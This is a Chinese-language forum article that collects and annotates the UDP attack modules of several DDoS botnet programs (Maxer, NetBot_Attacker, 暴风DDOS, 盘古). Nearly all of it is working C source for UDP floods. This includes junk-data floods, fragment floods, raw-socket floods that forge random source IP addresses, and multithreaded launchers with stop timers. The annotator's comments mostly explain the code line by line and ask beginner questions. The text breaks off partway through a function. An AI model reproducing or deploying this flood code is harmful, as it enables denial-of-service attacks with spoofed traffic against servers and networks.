对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇
//=========================================
對現有的所能找到的DDOS代碼(攻擊模塊)做出一次分析----UDP篇
文章作者:alalmn—飛龍
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)
分析者:alalmn—飛龍???????BLOG:http://hi.baidu.com/alalmn
分析的不好請各位高手見諒花了幾個小時分析的呵呵
UDP攻擊主要分為2種
1.發送垃圾數據攻擊
2.自己構造虛假IP進行攻擊
UDP攻擊并沒有象TCP一樣使用并發連接攻擊
應為UDP是無連接數限制的
TCP是有連接數限制的
有個很多錯的要提下隨機生成垃圾數據這點很不錯在看TCP的時候就發現這點了
------有獎知識問答------
//
Maxer.h
//判斷是否支持RAW????RAW是什么東西?啊?我看它的代碼是判斷操作系統版本的是否支持的!!!!!知道到底什什么的可以告訴俺一下
//RAW?UDP攻擊
我看這個的判斷條件是判斷操作系統版本?這個和操作系統版本有關系嗎
版本的區別,WSA開頭的函數是2.0的,其他的是1.1的,???
2.0的用winsock2.h???
1.0的用winsock.h???
是選1???否選2?????不祥選3???知道正確答案直接回答
//
知道答案的請發我QQ郵箱316118740@qq.com
//=================================================
冷風的.h
/************************UDP?ATTACK***********************************/
unsigned?long?CALLBACK?UDP_flood(LPVOID?dParam)????//UDP發送垃圾信息攻擊
{
SOCKADDR_IN?sockAddr;?//IP信息結構
SOCKET?m_hSocket;?//套接字
int?nSent;
int?nSize?=?strlen(icmpBuffer);?//發送的內容
m_hSocket?=socket(AF_INET,?SOCK_DGRAM,?IPPROTO_UDP);?//創建socket???IPPROTO_UDP是創建UDP
??????????????????//地址族???socket類型?協議類型
memset(&sockAddr,0,sizeof(sockAddr));???//內存空間初始化
sockAddr.sin_family?=?AF_INET;?//sin_family?地址家族(必須是AF_INET)
sockAddr.sin_port=htons(DdosPort);?//存儲端口號(使用網絡字節順序)
sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl);?//將網絡地址轉換成IP地址
while(!StopDDosAttack)?//是否在攻擊狀態
{
???nSent?=sendto(m_hSocket,?icmpBuffer,?nSize,?0,????????(LPSOCKADDR)&sockAddr,?sizeof(sockAddr));?//向一指定目的地發送數據
????????????//套接口????數據緩沖區?數據長度?調用標志位?目的套接口的地址?????所指地址的長度
???if(nSent?==?SOCKET_ERROR)?//是否發送成功
????break;
???Sleep(100);?//暫停(毫秒)
}
return?1;
}
//=============================================
Maxer.h
//標準UDP攻擊
DWORD?WINAPI?UdpFlood(LPVOID?dParam)
{
PDDOSINFO?pddosinfo?=?(PDDOSINFO)dParam;???//攻擊結構體
DDOSINFO?ddosinfo;?//攻擊結構體
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//復制內存
char?senddata[1024];
memset(senddata,'A',1024);//內存空間初始化
int?sendsize=strlen(senddata);//計算發送的內容
WSADATA???????????????WSAData;//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);//確定SOCKET版本
SOCKADDR_IN?udpaddr;//IP信息結構
udpaddr.sin_family=AF_INET;//sin_family?地址家族(必須是AF_INET)
????udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//將網絡地址轉換成IP地址
????udpaddr.sin_port=htons(ddosinfo.port);//存儲端口號(使用網絡字節順序)
SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//奇怪這個創建socket???他沒有選擇UDP協議這算什么UDP攻擊啊
//為了減小CPU的利用率,禁止在socket上將數據發送到緩沖。設置SO_SNDBUF為0,
//從而使winsock直接發送數據到客戶端,而不是將數據緩沖才發送。
int?nZero?=?0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char?*)&nZero,sizeof(nZero));?//設置套接口的選項
while(1)?//死循環
{
???if(IsStop==1)?//是否在攻擊狀態
???{
????ExitThread(0);
????return?0;
???}
???for(int?a=0;a<12;a++)
????sendto(s,senddata,sendsize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));?//向一指定目的地發送數據
???Sleep(20);?//暫停(毫秒)
}
}//-----------------------------------------------------------------------
typedef?struct?_iphdr?????//ip頭
{?
unsigned?char?h_verlen;????//4位首部長度+4位IP版本號?
unsigned?char?tos;?????//8位服務類型TOS?
unsigned?short?total_len;???//16位總長度(字節)?
unsigned?short?ident;????//16位標識?
unsigned?short?frag_and_flags;?//3位標志位?
unsigned?char?ttl;?????//8位生存時間TTL?
unsigned?char?proto;????//8位協議號(TCP,?UDP?或其他)?
unsigned?short?checksum;???//16位IP首部校驗和?
unsigned?int?sourceIP;????//32位源IP地址?
unsigned?int?destIP;????//32位目的IP地址?
}IP_HEADER;
typedef?struct?udp_hdr?//UDP首部
{
unsigned?short?sourceport;?//本機或偽造的端口
unsigned?short?destport;?//攻擊的IP端口
unsigned?short?udp_length;?//UDP地址長度
unsigned?short?udp_checksum;?//UDP首部校驗和
}?UDP_HEADER;
//判斷是否支持RAW????RAW是什么東西?啊?我看它的代碼是判斷操作系統版本的是否支持的!!!!!知道到底什什么的可以告訴俺一下
//RAW?UDP攻擊
//版本的區別,WSA開頭的函數是2.0的,其他的是1.1的,???
//2.0的用winsock2.h???
//1.0的用winsock.h???
DWORD?WINAPI?RawUdpFlood(LPVOID?dParam)
{
srand((unsigned)time(?NULL?));
PDDOSINFO?pddosinfo?=?(PDDOSINFO)dParam;???//攻擊結構體
DDOSINFO?ddosinfo;???//攻擊結構體
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//復制內存
IP_HEADER?ipHeader;
UDP_HEADER?udpHeader;
int?nBufferSize=1024;
char?pSendBuffer[1024]={0};
memset(pSendBuffer,'A',1024);//內存空間初始化
WSADATA???????????????WSAData;//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);//確定SOCKET版本
SOCKADDR_IN?udpaddr;//IP信息結構
SOCKET?sendSocket;//套接字
udpaddr.sin_family=AF_INET;//sin_family?地址家族(必須是AF_INET)
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//將網絡地址轉換成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存儲端口號(使用網絡字節順序)
if((sendSocket?=?WSASocket(AF_INET,?SOCK_RAW,?IPPROTO_RAW,?NULL,?0,?WSA_FLAG_OVERLAPPED))?==?INVALID_SOCKET)?//創建一個與指定傳送服務提供者捆綁的套接口
{?//地址族描述目前僅支持PF_INET格式????新套接口的類型描述?協議???指向結構的指針????套接口組的描述字???套接口屬性描述??????//INVALID_SOCKET發生錯誤
???printf("Socket?Setup?Error...\n");?//Socket安裝程序錯誤
???return?0;?
}?
BOOL???????????????flag=1;?
if(setsockopt(sendSocket,?IPPROTO_IP,?IP_HDRINCL,?(char?*)&flag,?sizeof(flag))?==?SOCKET_ERROR)?//設置套接口的選項?設置發送和接收的超時
{?//套接口的描述字???選項定義的層次?需設置的選項?存放選項值的緩沖區?緩沖區的長度??????//SOCKET_ERROR創建錯誤
???printf("Setsockopt?IP_HDRINCL?Error...\n");???//Setsockopt?IP_HDRINCL錯誤
???return?0;?
}
int?timeout?=?3000;?
if(setsockopt(sendSocket,?SOL_SOCKET,?SO_SNDTIMEO,?(char?*)&timeout,?sizeof(timeout))?==?SOCKET_ERROR)?
{?
???printf("Setsockopt?SO_SNDTIMEO?Error...\n");?//Setsockopt?SO_SNDTIMEO錯誤
???return?0;?
}
char?????????src_ip[20]?=?{0};
while(1)?//死循環
{
???if(IsStop==1)?//是否在攻擊狀態
???{
????ExitThread(0);
????return?0;
???}?
???for(int?a=0;a<24;a++)
???{
????int?iTotalSize=sizeof(ipHeader)?+?sizeof(udpHeader)+?nBufferSize;
????wsprintf(?src_ip,?"%d.%d.%d.%d",?rand()?%?250?+?1,?rand()?%?250?+?1,?rand()?%?250?+?1,?rand()?%?250?+?1?);???//格式化數據
????//填充IP首部?
????ipHeader.h_verlen?=?(4?<<?4)?|?(sizeof(ipHeader)?/?sizeof(unsigned?long));
????ipHeader.tos=0;
????ipHeader.total_len=htons(iTotalSize);
????ipHeader.ident=0;
????ipHeader.frag_and_flags=0;
????ipHeader.ttl=128;
????ipHeader.proto=IPPROTO_UDP;
????ipHeader.checksum=0;
????ipHeader.sourceIP=inet_addr(src_ip);//32位源地址?隨機IP
????ipHeader.destIP=resolve(ddosinfo.addr);?//偽IP
????//填充UDP首部
????udpHeader.sourceport?=?htons(?rand()%60000?+?1?);
????udpHeader.destport?=?htons(ddosinfo.port);
????udpHeader.udp_length?=?htons(sizeof(udpHeader)?+?nBufferSize);
????udpHeader.udp_checksum?=?0;
????memcpy(pSendBuffer,?&ipHeader,?sizeof(ipHeader));//復制數據
????memcpy(pSendBuffer+sizeof(ipHeader),?&udpHeader,?sizeof(udpHeader));//復制數據
????udpHeader.udp_checksum?=?checksum(?(USHORT?*)?pSendBuffer,?sizeof(udpHeader)+sizeof(ipHeader));
????sendto(sendSocket,?pSendBuffer,?sizeof(ipHeader)?+?sizeof(udpHeader)?+?sizeof(pSendBuffer),?0,?(struct?sockaddr*)&udpaddr,?sizeof(udpaddr));?//向一指定目的地發送數據
????//套接口的描述字???待發送數據的緩沖區???緩沖區中數據的長度???調用方式標志位???指向目的套接口的地址???所指地址的長度
???}
???Sleep(40);
}
}
//===================================================
NetBot_Attacker.h
/************************UDP?ATTACK***********************************/
unsigned?long?CALLBACK?UDP_flood(LPVOID?dParam)//udp?flood?UDP發送垃圾數據
{
WSADATA???????????????WSAData;//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);//確定SOCKET版本
SOCKADDR_IN?sockAddr;//IP信息結構
SOCKET?m_hSocket;//套接字
int?nSent;
int?nSize?=?strlen(icmpBuffer);//計算發送的內容
m_hSocket?=socket(AF_INET,?SOCK_DGRAM,?IPPROTO_UDP);//創建socket
memset(&sockAddr,0,sizeof(sockAddr));//內存空間初始化
sockAddr.sin_family?=?AF_INET;//sin_family?地址家族(必須是AF_INET)
sockAddr.sin_port=htons(fuckweb.FuckPort);//存儲端口號(使用網絡字節順序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);?//將網絡地址轉換成IP地址
while(!stopfuck)
{
???nSent?=sendto(m_hSocket,?icmpBuffer,?nSize,?0,?(LPSOCKADDR)&sockAddr,?sizeof(sockAddr));?//向一指定目的地發送數據
???if(nSent?==?SOCKET_ERROR)?//是否發送成功
????break;
???Sleep(40);?//延時
}
return?1;
}
unsigned?long?CALLBACK?Pjam_attack(LPVOID?dParam)//udp?小包裹
{
WSADATA?wsadata;//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,0),?&wsadata);//確定SOCKET版本
SOCKADDR_IN?sockAddr;//IP信息結構
SOCKET?m_hSocket;//套接字
memset(&sockAddr,0,sizeof(sockAddr));//內存空間初始化
sockAddr.sin_family?=?AF_INET;//sin_family?地址家族(必須是AF_INET)
sockAddr.sin_port=htons(fuckweb.FuckPort);//存儲端口號(使用網絡字節順序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);?//將網絡地址轉換成IP地址
m_hSocket=?socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);//創建socket
connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr));?//?connect?in?udp??//連接
??
while(!stopfuck)
{
???send(m_hSocket,"fuckwebfuckwebfuckwebfuckwebfuckwebfuckwebfuckweb",50,0);?//發送消息
???Sleep(40);?//延時
}
return?1;
}
//===================================
暴風DDOS.h
#define?nBufferSize?1024
static?char?pSendBuffer[nBufferSize+60];
static?int?iTotalSize=0;
/*===========================================常量=============================================*/
typedef?struct?_iphdr
{
unsigned?char???h_verlen;
unsigned?char???tos;
unsigned?short?total_len;
unsigned?short?ident;
unsigned?short?frag_and_flags;
unsigned?char???ttl;
unsigned?char???proto;
unsigned?short?checksum;
unsigned?int????sourceIP;
unsigned?int????destIP;
}IP_HEADER,?*?PIP_HEADER;
typedef?struct?udp_hdr?//UDP首部
{
unsigned?short?sourceport;?
unsigned?short?destport;?
unsigned?short?udp_length;?
unsigned?short?udp_checksum;?
}?UDP_HEADER;
void?udp_flood()?
{
Sleep(2000);????//暫停(毫秒)
WSADATA?WSAData;?//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2),?&WSAData);?//確定SOCKET版本
SOCKET????SendSocket;?
BOOL????Flag;
SendSocket?=?WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0);?//創建一個與指定傳送服務提供者捆綁的套接口
if(?SendSocket?==?INVALID_SOCKET?)???//INVALID_SOCKET發生錯誤
???return;
Flag=true;
if?(setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR)?//設置套接口的選項
{
???printf("setsockopt?Error!\n");?//setsockopt錯誤!
???return;
}
SOCKADDR_IN?addr_in;????//IP信息結構
addr_in.sin_family=AF_INET;????//sin_family?地址家族(必須是AF_INET)
addr_in.sin_port=htons(tgtPort);?//存儲端口號(使用網絡字節順序)
addr_in.sin_addr.s_addr=inet_addr(tgtIP);?//inet_addr將ip地址轉換成網絡地址
if?(addr_in.sin_addr.s_addr?==?INADDR_NONE)
{???//inet_addr將ip地址轉換成網絡地址?IP地址不正確返回INADDR_NONE
???struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
???if?((hp?=?gethostbyname(tgtIP))?!=?NULL)
???{//gethostbyname主機信息?tgtIPIP地址???!=?NULL不等于空
???memcpy(&(addr_in.sin_addr),?hp->h_addr,?hp->h_length);?//復制內存
???addr_in.sin_family?=?hp->h_addrtype;
???}
???else
????return;
}
for?(;;)
{
???if?(StopFlag?==?1)?//是否在攻擊狀態
???{
????ExitThread(0);
????return;
???}
???sendto(SendSocket,?pSendBuffer,?iTotalSize,?0,?(SOCKADDR?*)&addr_in,?sizeof(addr_in));?//向一指定目的地發送數據
???//pSendBuffer?把數據結構體都保存進去了?這樣才能實現偽IP攻擊
???Sleep(SleepTime);
}
closesocket(SendSocket);?//關閉socket
return;?
}
void?fill_udp_buffer()
{
WSADATA?wsaData;?//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,?2),?&wsaData);?//確定SOCKET版本
unsigned?int?saddr=0;
char?hostname[MAX_PATH];
gethostname(hostname,MAX_PATH);?//得到主機名
LPHOSTENT?lphost;?//主機結構信息?
lphost?=?gethostbyname(hostname);//主機名的主機信息
if?(lphost?!=?NULL)
???saddr?=?((LPIN_ADDR)lphost->h_addr)->s_addr;
char?pBuffer[nBufferSize];
IP_HEADER?ipHeader;
UDP_HEADER?udpHeader;
int?iUdpCheckSumSize;
char?*ptr=NULL;
FillMemory(pBuffer,?nBufferSize,?'A');?//填充內容做攻擊數據使用
iTotalSize=sizeof(ipHeader)?+?sizeof(udpHeader)+?nBufferSize;
ipHeader.h_verlen?=?(4?<<?4)?|?(sizeof(ipHeader)?/?sizeof(unsigned?long));
ipHeader.tos=0;
ipHeader.total_len=htons(iTotalSize);
ipHeader.ident=0;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_UDP;
ipHeader.checksum=0;
ipHeader.destIP=inet_addr(tgtIP);?//偽IP?
//UDP首部
udpHeader.sourceport?=?htons(5444);//本機或偽造的端口
udpHeader.destport?=?htons(tgtPort);//攻擊的IP端口
udpHeader.udp_length?=?htons(sizeof(udpHeader)?+?nBufferSize);//UDP地址長度
udpHeader.udp_checksum?=?0;
ptr?=?NULL;
ipHeader.sourceIP?=?saddr;?//自己模擬的IP
ZeroMemory(pSendBuffer,?nBufferSize?+?60);?//填充內容做攻擊數據使用
ptr?=?pSendBuffer;
iUdpCheckSumSize=0;
udpHeader.udp_checksum?=?0;
memcpy(ptr,?&ipHeader.sourceIP,?sizeof(ipHeader.sourceIP));
ptr?+=?sizeof(ipHeader.sourceIP);
iUdpCheckSumSize?+=?sizeof(ipHeader.sourceIP);
memcpy(ptr,?&ipHeader.destIP,?sizeof(ipHeader.destIP));????//偽IP
ptr?+=?sizeof(ipHeader.destIP);????//偽IP
iUdpCheckSumSize?+=?sizeof(ipHeader.destIP);???//偽IP?//這些代碼在這里給數據相加?是用來做什么做攻擊內容使用嗎
ptr++;
iUdpCheckSumSize++;
memcpy(ptr,?&ipHeader.proto,?sizeof(ipHeader.proto));
ptr?+=?sizeof(ipHeader.proto);
iUdpCheckSumSize?+=?sizeof(ipHeader.proto);
memcpy(ptr,?&udpHeader.udp_length,?sizeof(udpHeader.udp_length));
ptr?+=?sizeof(udpHeader.udp_length);
iUdpCheckSumSize?+=?sizeof(udpHeader.udp_length);
memcpy(ptr,?&udpHeader,?sizeof(udpHeader));
ptr?+=?sizeof(udpHeader);
iUdpCheckSumSize?+=?sizeof(udpHeader);?//這些代碼在這里給數據相加?是用來做什么做攻擊內容使用嗎
memcpy(ptr,?pBuffer,?nBufferSize);
iUdpCheckSumSize?+=?nBufferSize;???
udpHeader.udp_checksum=checksum((USHORT*)pSendBuffer,iUdpCheckSumSize);
memcpy(pSendBuffer,?&ipHeader,?sizeof(ipHeader));
memcpy(pSendBuffer?+?sizeof(ipHeader),?&udpHeader,?sizeof(udpHeader));
memcpy(pSendBuffer?+?sizeof(ipHeader)?+?sizeof(udpHeader),?pBuffer,?nBufferSize);????//這些代碼在這里給數據相加?是用來做什么做攻擊內容使用嗎
}
/*--------------------------------------------------------------------------------------*/
void?StartUDP(char?ip[30],int?port,int?time,int?xc)
{
???if?(inet_addr(ip)==?INADDR_NONE)
???{//inet_addr將ip地址轉換成網絡地址???INADDR_NONE非法地址
????struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
????if?((hp?=?gethostbyname(ip))?!=?NULL)?//gethostbyname主機信息
????{
?????in_addr?in;?//IP地址轉換位一個in_addr結構的地址
?????memcpy(&in,?hp->h_addr,?hp->h_length);?//復制內存
?????strcpy(tgtIP,inet_ntoa(in));?//復制數據
????}
???}
???else
????strcpy(tgtIP,ip);?//復制數據
???port=tgtPort;???//端口
???time=timeout;???//時間
???if?(StopFlag?==?-1)?//這點應該查看是否在攻擊狀態
????return;
???StopFlag=-1;
???fill_udp_buffer();????//獲取攻擊數據
???for(i=0;i<xc;i++)?//循環創建線程
???{
????h=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)udp_flood,?NULL,?0,?NULL);?//具體攻擊
???}
???CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);?//結束攻擊線程
}
//======================================================
暴風DDOSVIP2010-225.h
//偽造源UDP(流量)?跟?非IP數據包(流量)?一樣
/*----------------------------------------------------------------------------------------*///UDP(流量)
void?udpattack()//UDP(流量)
{
char?senddata[1024];
memset(senddata,'A',1024);???//內存空間初始化?初始化攻擊數據
int?sendsize=strlen(senddata);//計算字符長度
SOCKADDR_IN?udpaddr;?//IP信息結構
udpaddr.sin_family=AF_INET;?//sin_family?地址家族(必須是AF_INET)
????udpaddr.sin_addr.s_addr=inet_addr(tgtIP);?//inet_addr將ip地址轉換成網絡地址
????udpaddr.sin_port=htons(tgtPort);?//存儲端口號(使用網絡字節順序)
SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//創建socket?這樣創建的應該不是UDP協議吧汗!!!!!!!
//為了減小CPU的利用率,禁止在socket上將數據發送到緩沖。設置SO_SNDBUF為0,
//從而使winsock直接發送數據到客戶端,而不是將數據緩沖才發送。
int?nZero?=?0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char?*)&nZero,sizeof(nZero));?//設置套接口的選項
for?(;;)
{
???if(StopFlag==1)//這點應該查看是否在攻擊狀態
???{
????ExitThread(0);
????return;
???}
???for(int?a=0;a<12;a++)
????sendto(s,senddata,sendsize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));//向一指定目的地發送數據
???Sleep(SleepTime);
}
closesocket(s);?//關閉socket
WSACleanup();?//中止Windows?Sockets?DLL的使用?
}
void?StartUDP(char?ip[30],int?port,int?mytime,int?xc)?//UDP(流量)
{
???if?(inet_addr(ip)==?INADDR_NONE)
???{//inet_addr將ip地址轉換成網絡地址???INADDR_NONE非法地址
????struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
????if?((hp?=?gethostbyname(ip))?!=?NULL)//gethostbyname主機信息?IP?IP地址???!=?NULL不等于空
????{
?????in_addr?in;
?????memcpy(&in,?hp->h_addr,?hp->h_length);?//復制內存
?????strcpy(tgtIP,inet_ntoa(in));?//拷貝
????}
???}
???else
????strcpy(tgtIP,ip);?//復制數據
???tgtPort=port;?//端口?
???timeout=mytime;?//時間
???StopFlag?=?-1;?????//進入攻擊狀態
???for(z=0;z<xc;z++)
???{
????h[z]=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)udpattack,?NULL,?0,?NULL);???//具體攻擊
???}
???if(timeout!=0)
???{
????CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);?//結束攻擊線程
???}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
void?udpsattack()?//UDP碎片(流量)
{
char?senddata[5]="bfyl";
int?sendsize=strlen(senddata);//計算字符長度
SOCKADDR_IN?udpaddr;?//IP信息結構
udpaddr.sin_family=AF_INET;?//sin_family?地址家族(必須是AF_INET)
udpaddr.sin_addr.s_addr=inet_addr(tgtIP);?//inet_addr將ip地址轉換成網絡地址
udpaddr.sin_port=htons(tgtPort);?//存儲端口號(使用網絡字節順序)
SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//創建socket?這樣創建的應該不是UDP協議吧汗!!!
int?nZero?=?0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char?*)&nZero,sizeof(nZero));?//設置套接口的選項
for?(;;)
{
???if(StopFlag==1)//這點應該查看是否在攻擊狀態
???{
????ExitThread(0);
????return;
???}
???for(int?i=0;i<5;i++)
????sendto(s,senddata,sendsize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));//向一指定目的地發送數據
???Sleep(SleepTime);
}
closesocket(s);?//關閉socket
WSACleanup();?//中止Windows?Sockets?DLL的使用?
}
void?StartUDPS(char?ip[30],int?port,int?mytime,int?xc)?//UDP碎片(流量)
{
if?(inet_addr(ip)==?INADDR_NONE)
{//inet_addr將ip地址轉換成網絡地址???INADDR_NONE非法地址
???struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
???if?((hp?=?gethostbyname(ip))?!=?NULL)//gethostbyname主機信息?IP?IP地址???!=?NULL不等于空
???{
????in_addr?in;
????memcpy(&in,?hp->h_addr,?hp->h_length);?//復制內存
????strcpy(tgtIP,inet_ntoa(in));?//拷貝
???}
}
else
???strcpy(tgtIP,ip);
tgtPort=port;????//端口?
timeout=mytime;?//時間?
StopFlag?=?-1;
for(z=0;z<xc;z++)
{
???h[z]=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)udpsattack,?NULL,?0,?NULL);//具體攻擊
}
if(timeout?!=?0)
{
???CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);//結束攻擊線程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
//變異和偽造的UDP發包
void?rawudpattack()?//非IP數據包(流量)
{
WSADATA?WSAData;?//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2),?&WSAData);?//確定SOCKET版本
SOCKET????SendSocket;???//套接字
BOOL????Flag;
SendSocket?=?WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0);?//創建一個與指定傳送服務提供者捆綁的套接口
if(?SendSocket?==?INVALID_SOCKET?)????//INVALID_SOCKET發生錯誤
???return;
Flag=true;
if?(setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR)?//設置套接口的選項????//setsockopt錯誤
{
???printf("setsockopt?Error!\n");
???return;
}
SOCKADDR_IN?addr_in;?//IP信息結構
addr_in.sin_family=AF_INET;?//sin_family?地址家族(必須是AF_INET)
addr_in.sin_port=htons(tgtPort);?//存儲端口號(使用網絡字節順序)
addr_in.sin_addr.s_addr=inet_addr(tgtIP);?//inet_addr將ip地址轉換成網絡地址
if?(addr_in.sin_addr.s_addr?==?INADDR_NONE)
{???
???struct?hostent?*hp?=?NULL;
???if?((hp?=?gethostbyname(tgtIP))?!=?NULL)
???{//gethostbyname主機信息?tgtIPIP地址???!=?NULL不等于空
????memcpy(&(addr_in.sin_addr),?hp->h_addr,?hp->h_length);?//復制內存
????addr_in.sin_family?=?hp->h_addrtype;
???}
???else
????return;
}
for?(;;)
{
???if?(StopFlag?==?1)?//攻擊狀態
???{
????ExitThread(0);
????return;
???}
???for(int?i=0;i<12;i++)
????sendto(SendSocket,?pSendBuffer,?iTotalSize,?0,?(SOCKADDR?*)&addr_in,?sizeof(addr_in));//向一指定目的地發送數據
???Sleep(SleepTime);
}
closesocket(SendSocket);?//關閉socket
WSACleanup();?//中止Windows?Sockets?DLL的使用?
return;?
}
void?StartBYUDP(char?ip[30],int?port,int?mytime,int?xc)?//非IP數據包(流量)
{
if?(inet_addr(ip)==?INADDR_NONE)
{
???struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
???if?((hp?=?gethostbyname(ip))?!=?NULL)
???{//inet_addr將ip地址轉換成網絡地址???INADDR_NONE非法地址
????in_addr?in;
????memcpy(&in,?hp->h_addr,?hp->h_length);?//復制內存
????strcpy(tgtIP,inet_ntoa(in));?//拷貝
???}
}
else
???strcpy(tgtIP,ip);?//拷貝
tgtPort=port;?//端口?
timeout=mytime;?//時間
StopFlag?=?-1;
fill_BY_buffer();????//獲取攻擊數據和?暴風DDOS.h?文件是一樣的
for(z=0;z<xc;z++)
{
???h[z]=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)rawudpattack,?NULL,?0,?NULL);???//具體攻擊
}
if(mytime!=0)
{
???CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);?//結束攻擊線程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
void?sjudpattack()?//隨機數據UDP(流量)
{
int?i;
srand((unsigned)time(?NULL?));
i=rand()%512;???//產生個隨機數
char?senddata[MAX_PATH];
memset(senddata,i,MAX_PATH);?//內存空間初始化
int?sendsize=1024;
SOCKADDR_IN?udpaddr;?//IP信息結構
udpaddr.sin_family=AF_INET;???//指代協議族,在socket編程中只能是AF_INET
udpaddr.sin_addr.s_addr=inet_addr(tgtIP);???//IP地址
udpaddr.sin_port=htons(tgtPort);???//存儲端口號(使用網絡字節順序)
SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//創建socket
int?nZero?=?0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char?*)&nZero,sizeof(nZero));????//設置套接口的選項
for?(;;)
{
???if(StopFlag==1)//這點應該查看是否在攻擊狀態
???{
????ExitThread(0);
????return;
???}
???for(int?a=0;a<12;a++)
????sendto(s,senddata,sendsize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));//向一指定目的地發送數據
???Sleep(SleepTime);
}
closesocket(s);?//關閉socket
WSACleanup();?//中止Windows?Sockets?DLL的使用
}
void?StartSJUDP(char?ip[30],int?port,int?mytime,int?xc)?//隨機數據UDP(流量)
{
if?(inet_addr(ip)==?INADDR_NONE)
{//inet_addr將ip地址轉換成網絡地址???INADDR_NONE非法地址
???struct?hostent?*hp?=?NULL;?//hostent?IP信息結構體
???if?((hp?=?gethostbyname(ip))?!=?NULL)?//gethostbyname主機信息?IP?IP地址???!=?NULL不等于空
???{
????in_addr?in;
????memcpy(&in,?hp->h_addr,?hp->h_length);?//復制內存
????strcpy(tgtIP,inet_ntoa(in));?//拷貝
???}
}
else
???strcpy(tgtIP,ip);?//拷貝
tgtPort=port;?//端口?
timeout=mytime;?//時間
StopFlag?=?-1;
for(z=0;z<xc;z++)
{
???h[z]=CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)sjudpattack,?NULL,?0,?NULL);???//具體攻擊
}
if(timeout!=0)
{
???CreateThread(NULL,?0,?(LPTHREAD_START_ROUTINE)wait_for_end,?NULL,?0,?NULL);?//結束攻擊線程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
//==================================================
盤古1.5代碼.h
///UDP攻擊
#define?nBufferSize?1024
static?char?pSendBuffer[nBufferSize+60];
static?int?iTotalSize=0;
void?udp_flood()?//UDP攻擊
{
Sleep(2000);
WSADATA?WSAData;
WSAStartup(MAKEWORD(2,2),?&WSAData);
SOCKET????SendSocket;?
BOOL????Flag;
SendSocket?=?WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0);?//創建一個與指定傳送服務提供者捆綁的套接口
if(?SendSocket?==?INVALID_SOCKET?)?
???return;
Flag=true;
if?(setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR)????//設置套接口的選項
{
???printf("setsockopt?Error!\n");
???return;
}
SOCKADDR_IN?addr_in;?//IP信息結構
addr_in.sin_family=AF_INET;
???????//sin_family?地址家族(必須是AF_INET)
addr_in.sin_port=htons(tgtPort);
addr_in.sin_addr.s_addr=inet_addr(tgtIP);
???????????????????????//inet_addr將ip地址轉換成網絡地址
if?(addr_in.sin_addr.s_addr?==?INADDR_NONE)
